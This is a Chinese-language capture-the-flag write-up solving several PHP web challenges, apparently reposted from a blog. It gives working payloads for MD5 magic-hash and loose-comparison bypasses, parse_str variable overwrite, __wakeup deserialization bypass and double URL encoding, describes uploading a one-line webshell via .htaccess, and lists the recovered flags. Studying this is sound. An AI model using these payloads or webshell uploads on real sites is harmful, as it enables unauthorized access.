variacover
主要考點是變數覆寫
<meta charset="utf-8">
<?php
error_reporting(0);
if (empty($_GET['b'])) {
show_source(__FILE__);
die();
}else{
include('flag.php');
$a = "www.XMAN.com";
$b = $_GET['b'];
@parse_str($b);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) //判斷$a[0]的值不是QNKCDZO且$a[0]的MD5值要和QNKCDZO的MD5值相同
{
echo $flag;
}else{
exit('你的答案不對0.0');
}
}
?>
接受引數的只有變數b,但是需要更改引數a[0]
@parse_str($b)把查詢字串決議到變數中,如果有同名變數,將原來的覆寫,
由于PHP在處理哈希字串時,會利用”!=”或”==”來對哈希值進行比較,它把每一個以”0E”開頭的哈希值都解釋為0,所以如果兩個不同的密碼經過哈希以后,其哈希值都是以”0E”開頭的,那么PHP將會認為他們相同,都是0,
PHP處理0e開頭md5哈希字串缺陷/bug
構造payload:
?b=a[0]=s878926199a
拿到flag ayyctf{318fa61ae531e1778ffa6661c9b1ff06}
upload1
F12 洗掉前端認證,然后上一句話木馬 蟻劍連接拿flag
upload
先bp抓包上傳.htaccess檔案,將png檔案決議為php檔案,然后上一句話木馬 蟻劍連接拿flag
unserialize3
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
反序列化 利用php中的new 實體化類xctf
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a=new xctf();
echo(serialize($a));
?>
獲得payload:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
利用_wakeup()函式漏洞
把1改成2
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
PHP2
沒有頭緒
掃了一下目錄看到了index.phps
拿到原始碼
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?
傳一個名為id的引數,引數值必須為經過url編碼后的admin
因為url發到服務器那里會自動解碼一次
所以需要二次編碼
payload:
/index.php?id=%2561%2564%256d%2569%256e
PHP
掃目錄拿到index.php~
拿到原始碼
<?php
$a=0;
$b=0;
$c=0;
if (isset($_GET['aaa']))
{
$aaa = $_GET['aaa'];
$aaa=="1"?die("Emmm..."):NULL;
switch ($aaa)
{
case 0:
case 1:
$a=1;
break;
}
}
$bbb=(array)json_decode(@$_GET['bbb']);
if(is_array($bbb)){
is_numeric(@$bbb["ccc"])?die("Emmm..."):NULL;
if(@$bbb["ccc"]){
($bbb["ccc"]>2017)?$b=1:NULL;
}
if(is_array(@$bbb["ddd"])){
if(count($bbb["ddd"])!==2 OR !is_array($bbb["ddd"][0])) die("Emmm...");
$eee = array_search("XMAN", $bbb["ddd"]);
$eee===false?die("Emmm..."):NULL;
foreach($bbb["ddd"] as $key=>$val){
$val==="XMAN"?die("Emmm..."):NULL;
}
$c=1;
}
}
if($a && $b && $c){
include "flag.php";
echo $flag;
}
?>
三個引數都為1時可以拿到flag
$a:
? witch…case的弱型別比較,可以用1a繞過
$b:
? $bbb[“ccc”]>2017 依然是弱型別比較, 讓’ccc’ => ‘2018a’ 即可
$c:
? array_search函式的繞過,
構造payload:
/index.php?aaa=1a&bbb={"ccc":"2018a","ddd":[[""],0]}
拿到flag
ayyctf{a2e43398d5d1a8513b233b2f0f8fa86f}
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/294865.html
標籤:其他
下一篇:淺談一年多的網路安全學習經歷
